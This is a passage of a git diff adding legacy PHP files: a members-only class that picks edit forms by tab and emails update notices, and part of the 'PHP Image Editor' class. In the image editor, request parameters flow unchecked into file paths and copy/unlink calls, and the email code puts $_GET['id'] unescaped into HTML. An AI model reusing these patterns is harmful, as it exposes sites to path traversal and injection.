+       <a href="{logoutUrl:h}" style="display: block; margin-top: 6px;">Log Out</a>
+       </p>
+</div>
diff --git a/Toolkit/Membersonly.php b/Toolkit/Membersonly.php
new file mode 100644 (file)
index 0000000..4844e45
--- /dev/null
@@ -0,0 +1,337 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Membersonly.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Base class for the memberdb
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_Membersonly
+{
+       //      {{{     properties
+
+    /**
+     * Strict pending for member updates
+     */
+       const STRICT_PENDING = true;
+
+    /**
+     * Table that holds the member update requests
+     */
+       const PENDING_TABLE = 'member_updates';
+
+       //      }}}
+
+       //      {{{     __construct()
+
+       /**
+        * Constructor
+        *
+        * @access      public
+        */
+       public function __construct()
+       {
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Determine which form to show to the user
+        *
+        * When editing a member the (a)ction in the URL controls
+        * which form is displayed to the user. Member Id's from
+        * the database should be passed along as the ID in the $_GET array.
+        *
+        * @return void
+        * @access public
+        */
+       public function toHtml()
+       {
+        $mid = $GLOBALS['memberAuth']->getAuthData('member_id');
+        //  application configuration
+        $conf = new Config;
+        $root =& $conf->parseConfig(BASE . 'Toolkit/Members/members.ini', 'IniFile');
+
+               $nav =& new Toolkit_Members_RecordNavigation($root);
+               $nav->setupUserNavStructure();
+
+        $tplOpts =  Toolkit_Members::getFlexyOptions();
+        $tEngine = new HTML_Template_Flexy($tplOpts);
+
+               switch ($_GET['tab']) {
+               case 6 :
+                       $mc =& new Toolkit_Members_EditMemberOnlyContacts(
+                               Toolkit_Database::getInstance(),
+                'edit_contacts',
+                'post',
+                null,
+                null,
+                null,
+                true
+                       );
+            if ($_GET['d'] == 't' && is_numeric($_GET['cid'])) {
+                $mc->removeContact($_GET['cid'], $_GET['id']);
+            }
+            $mc->setConfig($root);
+            $mc->configureForm();
+                       $out = $mc->toHtml();
+                       break;
+
+               case 5 :
+                       $mf =& new Toolkit_Members_EditMemberOnlyFile(
+                               Toolkit_Database::getInstance(),
+                'edit_files'
+                       );
+            $mf->setConfig($root);
+            $mf->configureForm();
+                       $out = $mf->toHtml();
+                       break;
+
+               case 4 :
+                       $ma =& new Toolkit_Members_EditMemberOnlyAmenities(
+                               Toolkit_Database::getInstance(),
+                'edit_amenities',
+                'post',
+                null,
+                null,
+                null,
+                true
+                       );
+            $ma->setConfig($root);
+            $ma->configureForm();
+                       $out = $ma->toHtml();
+                       break;
+
+               case 3 :
+            $mp = new Toolkit_Members_EditPackages(
+                               Toolkit_Database::getInstance(),
+                $tEngine
+                       );
+            $mp->setupPage();
+            $out = $mp->getPage($nav);
+                       break;
+
+               case 2 :
+            //  Object to use when rendering the page template
+            $page = new stdClass();
+            //  Page navigation
+            $page->nav = $nav->getPageNav();
+
+            //  Linked List of member photos
+            $linkedList = new Toolkit_Members_Photos(null, $mid);
+            $linkedList->createMemberList(
+                               Toolkit_Database::getInstance(),
+                               $root
+                       );
+            //  Member Object to get calculate attributes about a member
+            $member = new Toolkit_Members_Member(
+                               Toolkit_Database::getInstance(),
+                               $root
+                       );
+            //  Server side caching
+            $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+            //  Image server for processing uploaded images
+            $is = new Toolkit_Image_Server();
+
+            if ($member->canAddPhotos($linkedList, $root)) {
+                $aForm = new Toolkit_Members_AddPhoto(
+                                       Toolkit_Database::getInstance(),
+                    'new_member_photo',
+                    'post',
+                    BASE_URL . "memberdb/index.php?Option=Member&Action=Edit&tab=2",
+                    '',
+                    null,
+                    true
+                );
+                $aForm->configureForm($root);
+                $page->uploadForm = $aForm->toHtml(
+                    $tEngine,
+                    $cache,
+                    $root,
+                    $is,
+                    $linkedList
+                );
+            }
+
+            if ($member->hasUploadedPhotos($linkedList)) {
+                $editForms = array();
+                $linkedList->rewind();
+
+                foreach ($linkedList as $i) {
+                    $id = $i->getId();
+                    $eForm = new Toolkit_Members_EditPhoto(
+                                               Toolkit_Database::getInstance(),
+                        $linkedList,
+                        "edit_member_photo_$id",
+                        'post',
+                        BASE_URL . "memberdb/index.php?Option=Member&Action=Edit&tab=2",
+                        '',
+                        array('id' => $id),
+                        true
+                    );
+                    $eForm->configureForm($root);
+                    $page->editForms[$id] = $eForm->toHtml(
+                        $tEngine,
+                        $cache,
+                        $is,
+                        $root
+                    );
+                }
+            }
+
+            //  get reference to [photos] section of config file
+            $config =& $root->getItem('section', 'photos');
+            $template =& $config->getItem('directive', 'editGalleryTemplate');
+
+            $tEngine->compile($template->getContent());
+            $out = $tEngine->bufferedOutputObject($page);
+                       break;
+
+               case 1 :
+               default :
+                       $mr =& new Toolkit_Members_EditMemberOnlyInfo(
+                               Toolkit_Database::getInstance(),
+                'edit_member',
+                'post',
+                null,
+                null,
+                null,
+                true
+                       );
+            $mr->setStates(
+                               Toolkit_Common::getStates(
+                                       Toolkit_Database::getInstance()
+                               )
+                       );
+            $mr->setConfig($root);
+            $mr->configureForm();
+                       $out = $mr->toHtml();
+                       break;
+               }
+
+               return $out;
+       }
+
+       //      }}}
+
+       //      {{{     show()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+       public function show()
+       {
+               echo $this->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     updateNotificationEmail()
+
+       /**
+        * Emails the owner and anyone else who wants to be advised of updates
+        *
+        * A false value in the MEMBER_RECORD_UPDATES_ADVISOR will cause no email
+        * to be sent. all secondary advisees listed in the constructor are carbon
+        * copied in the email.
+        *
+        * Emails are sent out in both HTML and TXT forms.
+     *
+     * @param Config_Container    $c       Configuration object
+     * @param HTML_Template_Flexy $tEngine Flexy Templating Engine
+     * @param Mail                $mail    Mail object
+        *
+     * @return boolean result of mailing
+        * @access protected
+        * @since  Method available since Release 1.5
+        */
+       static public function updateNotificationEmail(
+        Config_Container $c,
+        HTML_Template_Flexy $tEngine,
+        Mail $mail
+    ) {
+               if (MEMBER_RECORD_UPDATES_ADVISOR === false) {
+                       return;
+               } else {
+                       try {
+                               $sql = "
+                    SELECT member_name
+                      FROM member
+                     WHERE member_id = :member_id";
+                               $dbh = Toolkit_Database::getInstance();
+                               $stmt = $dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $memberName = $row['member_name'];
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+                       $page     = new StdClass;
+
+                       $page->member   = $memberName;
+                       $page->url      = ($_SERVER['HTTPS'] == 'on') ? BASE_SECURE_URL : BASE_URL;
+                       $page->email    = OWNER_EMAIL;
+                       $page->siteName = SITENAME;
+                       $page->link     = '<a target="_blank"  href="'.BASE_URL.'pending-member/'.$_GET['id'].'/">link</a>';
+
+                       $tEngine->compile('emailOwner.tpl');
+                       //      Merge the compiled template with the $page object.
+                       $htmlMsg = $tEngine->bufferedOutputObject($page);
+
+                       $msg = "
+                               <h3>$memberName</h3>
+                               <p>
+                                       Has updated thier business record and is now in a pending
+                                       state. To approve / reject thier changes you can either log
+                                       into your {$page->siteName} admin area or follow this 
+                                       {$page->link}
+                               </p>";
+                       $crlf     = "\n";
+                       $mimeMail = new Mail_mime($crlf);
+            $from = ereg_replace("[^A-Za-z ]", "", SITENAME) . ' <donotreply@gaslightmedia.com>';
+                       $mimeMail->setFrom($from);
+                       $mimeMail->setSubject(Toolkit_Members_Admin_Controller::$listingType['singular'] . 'Record Update');
+                       $mimeMail->setHTMLBody($htmlMsg);
+                       $mimeMail->setTXTBody($msg);
+
+                       $body    = $mimeMail->get();
+                       $headers = $mimeMail->headers($hdrs);
+                       
+                       $res = $mail->send(MEMBER_RECORD_UPDATES_ADVISOR, $headers, $body);
+                       if (PEAR::isError($res)) {
+                               return Toolkit_Common::handleError($res);
+                       } else {
+                               return $res;
+                       }
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/PHPImageEditor/classes/phpimageeditor.php b/Toolkit/PHPImageEditor/classes/phpimageeditor.php
new file mode 100644 (file)
index 0000000..3972e79
--- /dev/null
@@ -0,0 +1,818 @@
+<?php
+
+
+    /*
+    Copyright 2008, 2009, 2010 Patrik Hultgren
+
+    YOUR PROJECT MUST ALSO BE OPEN SOURCE IN ORDER TO USE PHP IMAGE EDITOR.
+    OR ELSE YOU NEED TO BUY THE COMMERCIAL VERSION AT:
+    http://www.shareit.com/product.html?productid=300296445&backlink=http%3A%2F%2Fwww.phpimageeditor.se%2F
+
+    This file is part of PHP Image Editor.
+
+    PHP Image Editor is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    PHP Image Editor is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with PHP Image Editor.  If not, see <http://www.gnu.org/licenses/>.
+    */
+
+
+       //Requires
+       //PHP: 4.3
+       //GD: 2.0.28
+
+       /*PHP FUNCTIONS REQUIRES THESE VERSIONS
+       getimagesize PHP 4
+       image_type_to_mime_type PHP 4.3
+       imagecopyresized PHP 4
+       file_exists PHP 4
+       copy PHP 4
+       imagecreatetruecolor PHP 4.0.6, GD 2.0.1
+       imagecopyresized PHP 4
+       imagecopy PHP 4
+       imagecreatefromjpeg PHP 4, GD 1.8
+       imagecreatefromgif PHP 4, GD 2.0.28
+       imagecreatefrompng PHP 4
+       imagefilter PHP 5, GD
+       imagejpeg PHP 4, GD-1.8
+       imagepng PHP 4
+       imagegif PHP 4
+       imagerotate PHP 4.3 GD
+       imagesx PHP 4
+       imagesy PHP 4
+       */
+
+       class PHPImageEditor
+       {
+               var $srcEdit = "";
+               var $srcOriginal = "";
+               var $srcPng = "";
+               var $srcWorkWith = "";
+               var $resourceWorkWith = false;
+               var $mimeType = "";
+               var $actionSaveAndClose = "save";
+               var $actionRotateLeft = "rotate:90";
+               var $actionRotateRight = "rotate:-90";
+               var $actionGrayscale = "grayscale";
+               var $actionContrast = "contrast";
+               var $actionBrightness = "brightness";
+               var $actionUndo = "undo";
+               var $actionUpdate = "update";
+               var $actionRotateIsSelected = false;
+               var $actionRotate = "";
+               var $actionSeparatorSign = "#";
+               var $fieldNameKeepProportions = "keepproportions";
+               var $errorMessages = array();
+               var $formName = "phpimageeditor";
+        var $inputImageName = '';
+               var $inputWidth = -1;
+               var $inputHeight = -1;
+               var $inputCropLeft = 0;
+               var $inputCropRight = 0;
+               var $inputCropTop = 0;
+               var $inputCropBottom = 0;
+               var $inputKeepProportions = true;
+               var $inputCropKeepProportions = false;
+               var $inputCropKeepProportionsRatio = 1;
+               var $inputPanel = MENU_RESIZE;
+               var $inputLanguage = DEFUALT_LANGUAGE;
+               var $inputContrast = 0;
+               var $inputBrightness = 0;
+               var $inputContrastLast = 0;
+               var $inputBrightnessLast = 0;
+               var $inputGrayscale = false;
+               var     $httpImageKey = "imagesrc";
+               var     $texts = array();
+               var $actions = "";
+               var $isPostBack = false;
+               var $isAjaxPost = false;
+               var $finalWidth = -1;
+               var $finalHeight = -1;
+               var $widthKeepProportions = -1;
+               var $heightKeepProportions = -1;
+               var $userId = "";
+
+               var $contrastMax = 100;
+               var $brightnessMax = 255;
+
+
+               function PHPImageEditor()
+               {
+                       $this->LoadLanguage();
+
+                       if (version_compare(phpversion(), PHP_VERSION_MINIMUM, "<"))
+                       {
+                               $this->errorMessages[] = phpversion()." ".$this->texts["OLD PHP VERSION"]." ".PHP_VERSION_MINIMUM;
+                               return;
+                       }
+
+                       $this->isPostBack = isset($_POST["actiontype"]);
+
+                       $srcEdit = "";
+
+                       if ($_GET[$this->httpImageKey] != NULL)
+                       {
+                               $srcEdit = $_GET[$this->httpImageKey];
+                       }
+
+                       if ($srcEdit == "")
+                       {
+                               $this->errorMessages[] = $this->texts["NO PROVIDED IMAGE"];
+                               return;
+                       }
+
+                       $this->srcEdit = urldecode($srcEdit);
+            $this->inputImageName = urlencode($_GET['image_name']);
+
+                       if (isset($_POST["userid"]))
+                               $this->userId = $_POST["userid"];
+                       else
+                               $this->userId = "_".time()."_".str_replace(".", "_", $_SERVER['REMOTE_ADDR']);
+
+                       $this->SetSrcOriginal();
+                       $this->SetSrcPng();
+                       $this->SetSrcWorkWith();
+
+                       if (!file_exists($this->srcEdit))
+                       {
+                               $this->errorMessages[] = $this->texts["IMAGE DOES NOT EXIST"];
+                               return;
+                       }
+
+                       $info = getimagesize($this->srcEdit);
+
+                       if (!$info)
+                       {
+                               $this->errorMessages[] = $this->texts["INVALID IMAGE TYPE"];
+                               return;
+                       }
+
+                       $this->mimeType = image_type_to_mime_type($info[2]);
+
+                       if ($this->mimeType == image_type_to_mime_type(IMAGETYPE_JPEG) || $this->mimeType == image_type_to_mime_type(IMAGETYPE_GIF) || $this->mimeType == image_type_to_mime_type(IMAGETYPE_PNG))
+                       {
+                               if (!$this->isPostBack)
+                                       $this->SaveOriginal();
+
+                               $this->resourceWorkWith = $this->CreateImage($this->srcOriginal);
+                               $this->SavePng();
+                               copy($this->srcPng, $this->srcWorkWith);
+
+                               $this->resourceWorkWith = $this->CreateImage($this->srcPng);
+                       }
+                       else
+                       {
+                               $this->errorMessages[] = $this->texts["INVALID IMAGE TYPE"];
+                               return;
+                       }
+
+                       $this->finalWidth = $this->GetWidth();
+                       $this->finalHeight = $this->GetHeight();
+                       $this->widthKeepProportions = $this->GetWidth();
+                       $this->heightKeepProportions = $this->GetHeight();
+
+                       $this->GrantAllAccess($this->srcOriginal);
+                       $this->GrantAllAccess($this->srcPng);
+                       $this->GrantAllAccess($this->srcWorkWith);
+
+                       if ($this->isPostBack)
+                       {
+                               $this->actionRotateIsSelected = ($_POST["rotate"] != "-1");
+                               $this->actionRotate = $_POST["rotate"];
+                               $this->actions = $_POST["actions"];
+                               $this->isAjaxPost = ($_POST["isajaxpost"] == "true");
+
+//                $this->inputImageName = $_POST['image_name'];
+                               $this->inputWidth = (int)$_POST["width"];
+                               $this->inputHeight = (int)$_POST["height"];
+                               $this->inputCropLeft = (int)$_POST["cropleft"];
+                               $this->inputCropRight = (int)$_POST["cropright"];
+                               $this->inputCropTop = (int)$_POST["croptop"];
+                               $this->inputCropBottom = (int)$_POST["cropbottom"];
+                               $this->inputPanel = (int)$_POST["panel"];
+                               $this->inputLanguage = $_POST["language"];
+                               $this->inputKeepProportions = ($_POST["keepproportionsval"] == "1");
+                               $this->inputCropKeepProportions = ($_POST["cropkeepproportionsval"] == "1");
+                               $this->inputCropKeepProportionsRatio = (float)$_POST["cropkeepproportionsratio"];
+                               $this->inputGrayscale = ($_POST["grayscaleval"] == "1");
+                               $this->inputBrightness = (int)$_POST["brightness"];
+                               $this->inputContrast = (int)$_POST["contrast"];
+                               $this->inputBrightnessLast = (int)$_POST["brightnesslast"];
+                               $this->inputContrastLast = (int)$_POST["contrastlast"];
+
+                               $this->Action($_POST["actiontype"]);
+                       }
+               }
+
+               function LoadLanguage()
+               {
+                       $language = "";
+
+                       if (isset($_POST["language"]))
+                       {
+                               $this->inputLanguage = $_POST["language"];
+                               $language = $this->inputLanguage;
+                       }
+                       else if (isset($_GET["language"]))
+                       {
+                               $this->inputLanguage = $_GET["language"];
+                               $language = $this->inputLanguage;
+                       }
+                       else
+                               $language = DEFUALT_LANGUAGE;
+
+                       $tryLanguage = "language/".$language."/".$language.".com_admin.ini";
+                       if (file_exists($tryLanguage))
+                               $this->texts = PIE_GetTexts("language/".$language."/".$language.".com_admin.ini");
+                       else
+                               $this->texts = PIE_GetTexts("language/".DEFUALT_LANGUAGE."/".DEFUALT_LANGUAGE.".com_admin.ini");
+               }
+
+               function SetSrcOriginal()
+               {
+                       $arr = explode("/", $this->srcEdit);
+                       $this->srcOriginal = IMAGE_ORIGINAL_PATH.$this->AddUserIdToImageSrc($arr[count($arr)-1]);
+               }
+
+               function SetSrcWorkWith()
+               {
+                       $arr = explode("/", $this->srcEdit);
+                       $srcWorkWith = IMAGE_WORK_WITH_PATH.$this->AddUserIdToImageSrc($arr[count($arr)-1]);
+                       $srcWorkWith = substr($srcWorkWith, 0, strripos($srcWorkWith, ".")).".png";
+                       $this->srcWorkWith = $srcWorkWith;
+               }
+
+               function SetSrcPng()
+               {
+                       $arr = explode("/", $this->srcEdit);
+                       $srcPng = IMAGE_PNG_PATH.$this->AddUserIdToImageSrc($arr[count($arr)-1]);
+                       $srcPng = substr($srcPng, 0, strripos($srcPng, ".")).".png";
+                       $this->srcPng = $srcPng;
+               }
+
+               function SaveOriginal()
+               {
+                       copy($this->srcEdit, $this->srcOriginal);
+
+                       //Resize to fit in max width/height.
+                       $imageTmp = $this->CreateImage($this->srcOriginal);
+                       $finalWidth = $this->GetWidthFromImage($imageTmp);
+                       $finalHeight = $this->GetHeightFromImage($imageTmp);
+
+                       $doSave = false;
+
+                       if ($finalWidth > IMAGE_MAX_WIDTH)
+                       {
+                               $widthProp = IMAGE_MAX_WIDTH/$finalWidth;
+                               $finalWidth = IMAGE_MAX_WIDTH;
+                               $finalHeight = round($finalHeight*$widthProp);
+                               $doSave = true;
+                       }
+
+                       if ($finalHeight > IMAGE_MAX_HEIGHT)
+                       {
+                               $heightProp = IMAGE_MAX_HEIGHT/$finalHeight;
+                               $finalHeight = IMAGE_MAX_HEIGHT;
+                               $finalWidth = round($finalWidth*$heightProp);
+                               $doSave = true;
+                       }
+
+                       if ($doSave)
+                       {
+                               $imageTmp = $this->ActionResize($finalWidth, $finalHeight, $imageTmp);
+                               $this->SaveImage($imageTmp, $this->srcOriginal);
+                       }
+               }
+
+               function SavePng()
+               {
+                       $this->SaveImage($this->resourceWorkWith, $this->srcPng, image_type_to_mime_type(IMAGETYPE_PNG));
+               }
+
+               function ErrorHasOccurred()
+               {
+                       return (count($this->errorMessages) > 0);
+               }
+
+               function GetWidthFinal()
+               {
+                       return $this->finalWidth;
+               }
+
+               function GetHeightFinal()
+               {
+                       return $this->finalHeight;
+               }
+
+               function GetWidth()
+               {
+                       return $this->GetWidthFromImage($this->resourceWorkWith);
+               }
+
+               function GetWidthLast()
+               {
+                       if ($this->isPostBack)
+                               return (int)$_POST["widthlast"];
+
+                       return $this->GetWidth();
+               }
+
+               function GetHeight()
+               {
+                       return $this->GetHeightFromImage($this->resourceWorkWith);
+               }
+
+               function GetHeightLast()
+               {
+                       if ($this->isPostBack)
+                               return (int)$_POST["heightlast"];
+
+                       return $this->GetWidth();
+               }
+
+        function GetImageNameFinal()
+        {
+            if ($this->isPostBack)
+                               return $_POST["image_name"];
+
+            return $this->inputImageName;
+        }
+
+        function getImageName()
+        {
+                       return $this->inputImageName;
+        }
+
+               function GetWidthFromImage($image)
+               {
+                       return imagesx($image);
+               }
+
+               function GetHeightFromImage($image)
+               {
+                       return imagesy($image);
+               }
+
+               function Action($actionType)
+               {
+                       $doSave = false;
+
+                       if ($actionType == $this->actionUndo) {
+                               $this->ActionUndo();
+                               $doSave = true;
+                       }
+
+                       if (   $actionType == $this->actionUpdate
+                || $actionType == $this->actionSaveAndClose) {
+                               if (   $this->inputWidth != $this->GetWidthLast()
+                    || $this->inputHeight != $this->GetHeightLast()) {
+                                       $this->actions .= $this->GetActionSeparator()."resize:".$this->inputWidth.",".$this->inputHeight;
+                }
+
+                               if (   $this->inputCropLeft != 0 || $this->inputCropRight != 0
+                    || $this->inputCropTop != 0 || $this->inputCropBottom != 0) {
+                                       $this->actions
+                        .= $this->GetActionSeparator()
+                        ."crop:".$this->inputCropLeft.","
+                        .$this->inputCropRight.","
+                        .$this->inputCropTop.","
+                        .$this->inputCropBottom;
+                }
+//                var_dump($this->inputImageName);
+//                var_dump($this->getImageNameFinal());
+//                var_dump($_POST);
+//                var_dump($_GET);
+//                exit;
+                if (urldecode($this->inputImageName) != $this->GetImageNameFinal()) {
+                    $this->actions .= $this->GetActionSeparator ()."imageName:".$this->GetImageNameFinal();
+                }
+                               $doSave = true;
+                       }
+
+                       if ($actionType == $this->actionUpdate && $this->inputGrayscale) {
+                               if (strpos($this->actions, $this->actionGrayscale) === false) {
+                                       $this->actions .= $this->GetActionSeparator().$this->actionGrayscale.":0";
+                                       $doSave = true;
+                               }
+                       } else if ($actionType == $this->actionUpdate && !$this->inputGrayscale) {
+                               if (!(strpos($this->actions, $this->actionGrayscale) === false)) {
+                                       $this->actions = str_replace($this->actionGrayscale.":0".$this->GetActionSeparator(), "", $this->actions);
+                                       $this->actions = str_replace($this->GetActionSeparator().$this->actionGrayscale.":0", "", $this->actions);
+                                       $this->actions = str_replace($this->actionGrayscale.":0", "", $this->actions);
+                                       $doSave = true;
+                               }
+                       }
+
+                       if ($this->inputContrast != $this->inputContrastLast) {
+                               $this->actions .= $this->GetActionSeparator().$this->actionContrast.":".$this->inputContrast;
+                               $doSave = true;
+                       }
+
+                       if ($this->inputBrightness != $this->inputBrightnessLast) {
+                               $this->actions .= $this->GetActionSeparator().$this->actionBrightness.":".$this->inputBrightness;
+                               $doSave = true;
+                       }
+
+                       if ($this->actionRotateIsSelected) {
+                               if ($this->actionRotate == $this->actionRotateLeft) {
+                                       $this->actions .= $this->GetActionSeparator().$this->actionRotateLeft;
+                                       $doSave = true;
+                               } else if ($this->actionRotate == $this->actionRotateRight) {
+                                       $this->actions .= $this->GetActionSeparator().$this->actionRotateRight;
+                                       $doSave = true;
+                               }
+                       }
+
+                       $finalContrast = 0;
+                       $finalBrightness = 0;
+                       $finalContrastFound = false;
+                       $finalBrightnessFound = false;
+                       $finalGrayscale = false;
+
+                       if ($doSave && $this->actions != "") {
+                               $allActions = explode($this->actionSeparatorSign, $this->actions);
+
+                               $finalRotate = 0;
+                               $finalCropLeft = 0;
+                               $finalCropRight = 0;
+                               $finalCropTop = 0;
+                               $finalCropBottom = 0;
+
+                               $doSwitch = false;
+
+                               foreach ($allActions as $loopAction) {
+                                       $actionDetail = explode(":", $loopAction);
+                                       $actionValues = explode(",", $actionDetail[1]);
+
+                                       if ($actionDetail[0] == "resize") {
+                                               $this->finalWidth = (int)$actionValues[0];
+                                               $this->finalHeight = (int)$actionValues[1];
+                                       } else if ($actionDetail[0] == "crop") {
+                                               $actionValueLeft = (int)$actionValues[0];
+                                               $actionValueRight = (int)$actionValues[1];
+                                               $actionValueTop = (int)$actionValues[2];
+                                               $actionValueBottom = (int)$actionValues[3];
+
+                                               $widthProp = 1;
+                                               $heightProp = 1;
+
+                                               if ($doSwitch) {
+                                                       $widthProp = (($this->GetHeight()-($finalCropTop + $finalCropBottom)) / $this->finalWidth);
+                                                       $heightProp = (($this->GetWidth()-($finalCropLeft + $finalCropRight)) / $this->finalHeight);
+                                               } else {
+                                                       $widthProp = (($this->GetWidth()-($finalCropLeft + $finalCropRight)) / $this->finalWidth);
+                                                       $heightProp = (($this->GetHeight()-($finalCropTop + $finalCropBottom)) / $this->finalHeight);
+                                               }
+
+                                               $cropLeft = $actionValueLeft * $widthProp;
+                                               $cropRight = $actionValueRight * $widthProp;
+                                               $cropTop = $actionValueTop * $heightProp;
+                                               $cropBottom = $actionValueBottom * $heightProp;
+
+                                               $cropValues = array();
+                                               $cropValues[] = $cropRight;
+                                               $cropValues[] = $cropBottom;
+                                               $cropValues[] = $cropLeft;
+                                               $cropValues[] = $cropTop;
+
+                                               if ($finalRotate != 0)
+                                                       $cropValues = $this->RotateArray(($finalRotate/-90), $cropValues);
+
+                                               $finalCropRight += $cropValues[0];
+                                               $finalCropBottom += $cropValues[1];
+                                               $finalCropLeft += $cropValues[2];
+                                               $finalCropTop += $cropValues[3];
+
+                                               $this->finalWidth -= ($actionValueLeft + $actionValueRight);
+                                               $this->finalHeight -= ($actionValueTop + $actionValueBottom);
+                                       } else if ($actionDetail[0] == $this->actionGrayscale && $this->inputGrayscale) {
+                                               $finalGrayscale = true;
+                                       } else if ($actionDetail[0] == "contrast") {
+                                               $finalContrastFound = true;
+                                               $finalContrast = $actionValues[0];
+                                       } else if ($actionDetail[0] == "brightness") {
+                                               $finalBrightnessFound = true;
+                                               $finalBrightness = $actionValues[0];
+                                       } else if ($actionDetail[0] == "rotate") {
+                                               $finalRotate += (int)$actionValues[0];
+                                               $finalWidthTmp = $this->finalWidth;
+                                               $this->finalWidth = $this->finalHeight;
+                                               $this->finalHeight = $finalWidthTmp;
+                                       }
+
+                                       if ($finalRotate == -360 || $finalRotate == 360) {
+                                               $finalRotate = 0;
+                    }
+
+                                       $doSwitch = ($finalRotate != 0 && ($finalRotate == 90 || $finalRotate == 270 || $finalRotate == -90 || $finalRotate == -270));
+                               }
+
+                               //1. All effects.
+                               if ($finalGrayscale) {
+                                       $this->ActionGrayscale();
+                }
+
+                               if ($finalBrightnessFound) {
+                                       $this->ActionBrightness($finalBrightness);
+                }
+
+                               if ($finalContrastFound) {
+                                       $this->ActionContrast($finalContrast*-1);
+                }
+
+                               //2. Do cropping.
+                               $finalCropLeft = round($finalCropLeft);
+                               $finalCropRight = round($finalCropRight);
+                               $finalCropTop = round($finalCropTop);
+                               $finalCropBottom = round($finalCropBottom);
+                               if ($finalCropLeft != 0 || $finalCropRight != 0 || $finalCropTop != 0 || $finalCropBottom != 0) {
+                                       $this->ActionCrop($finalCropLeft, $finalCropRight, $finalCropTop, $finalCropBottom);
+                }
+
+                               //3. Rotate
+                               if ($finalRotate != 0) {
+                                       $this->ActionRotate($finalRotate);
+                }
+
+                               //Calculate keep proportions values.
+                               if (round($this->finalWidth/$this->finalHeight,1) == round($this->GetWidth()/$this->GetHeight(),1)) {
+                                       //It seems to have the same proportions as the original. Use the original proportions value.
+                                       $this->widthKeepProportions = $this->GetWidth();
+                                       $this->heightKeepProportions = $this->GetHeight();
+                               } else {
+                                       //The proportions has been changed. Use the new width and height instead.
+                                       $this->widthKeepProportions = $this->finalWidth;
+                                       $this->heightKeepProportions = $this->finalHeight;
+                               }
+
+                               //4. Resize
+                               if ($this->finalWidth > 0 && $this->finalHeight > 0)
+                                       $this->resourceWorkWith = $this->ActionResize($this->finalWidth, $this->finalHeight, $this->resourceWorkWith);
+
+                               $this->SaveImage($this->resourceWorkWith, $this->srcWorkWith, image_type_to_mime_type(IMAGETYPE_PNG));
+                       }
+
+                       $this->inputBrightness = $finalBrightness;
+                       $this->inputContrast = $finalContrast;
+                       $this->inputGrayscale = $finalGrayscale;
+
+                       if ($actionType == $this->actionSaveAndClose) {
+                               $this->SaveImage($this->resourceWorkWith, $this->srcEdit, $this->mimeType);
+
+                               /*** GLM stuff ***/
+                               require_once '../../setup.phtml';
+                               $CKUpdater = new Toolkit_CKImages_ImageUpdater(Toolkit_Database::getInstance());
+                               $CKUpdater->load(basename($_GET['imagesrc']));
+                               $CKUpdater->update(new Toolkit_FileServer_ImageAdapter());
+                               /*****************/
+
+                               unlink($this->srcOriginal);
+                               unlink($this->srcPng);
+                               unlink($this->srcWorkWith);
+                               $this->DeleteOldImages(IMAGE_ORIGINAL_PATH);
+                               $this->DeleteOldImages(IMAGE_PNG_PATH);
+                               $this->DeleteOldImages(IMAGE_WORK_WITH_PATH);
+                               $reloadParentBrowser = RELOAD_PARENT_BROWSER_ON_SAVE ? 'window.opener.location.reload();' : '';
+                               PIE_Echo('<script language="javascript" type="text/javascript">'.$reloadParentBrowser.'window.open(\'\',\'_parent\',\'\');window.close();</script>');
+                       }
+               }
+
+               function ActionResize($width, $height, $image)
+               {
+                       $newImage = @imagecreatetruecolor($width, $height);
+                       imagecopyresampled($newImage, $image, 0, 0, 0, 0, $width, $height, $this->GetWidthFromImage($image), $this->GetHeightFromImage($image));
+                       return $newImage;
+               }
+
+               function ActionCrop($cropLeft, $cropRight, $cropTop, $cropBottom)
+               {
+                       $cropWidth = $this->GetWidth() - $cropLeft - $cropRight;
+                       $cropHeight = $this->GetHeight() - $cropTop - $cropBottom;
+
+                       $newImageCropped = @imagecreatetruecolor($cropWidth, $cropHeight);
+                       imagecopy($newImageCropped, $this->resourceWorkWith, 0, 0, $cropLeft, $cropTop, $cropWidth, $cropHeight);
+
+                       $this->resourceWorkWith = $newImageCropped;
+               }
+
+               function ActionUndo()
+               {
+                       $separatorPos = strrpos($this->actions, $this->actionSeparatorSign);
+                       if (!($separatorPos === false))
+                       {
+                               $this->actions = substr($this->actions, 0, $separatorPos);
+                       }
+                       else
+                       {
+                               $this->actions = "";
+                       }
+               }
+
+               function CreateImage($srcEdit)
+               {
+                       $info = getimagesize($srcEdit);
+
+                       if (!$info)
+                               return NULL;
+
+                       $mimeType = image_type_to_mime_type($info[2]);
+
+                       if ($mimeType == image_type_to_mime_type(IMAGETYPE_JPEG))
+                       {
+                               return imagecreatefromjpeg($srcEdit);
+                       }
+                       else if ($mimeType == image_type_to_mime_type(IMAGETYPE_GIF))
+                       {
+                               return imagecreatefromgif($srcEdit);
+                       }
+                       else if ($mimeType == image_type_to_mime_type(IMAGETYPE_PNG))
+                       {
+                               return imagecreatefrompng($srcEdit);
+                       }
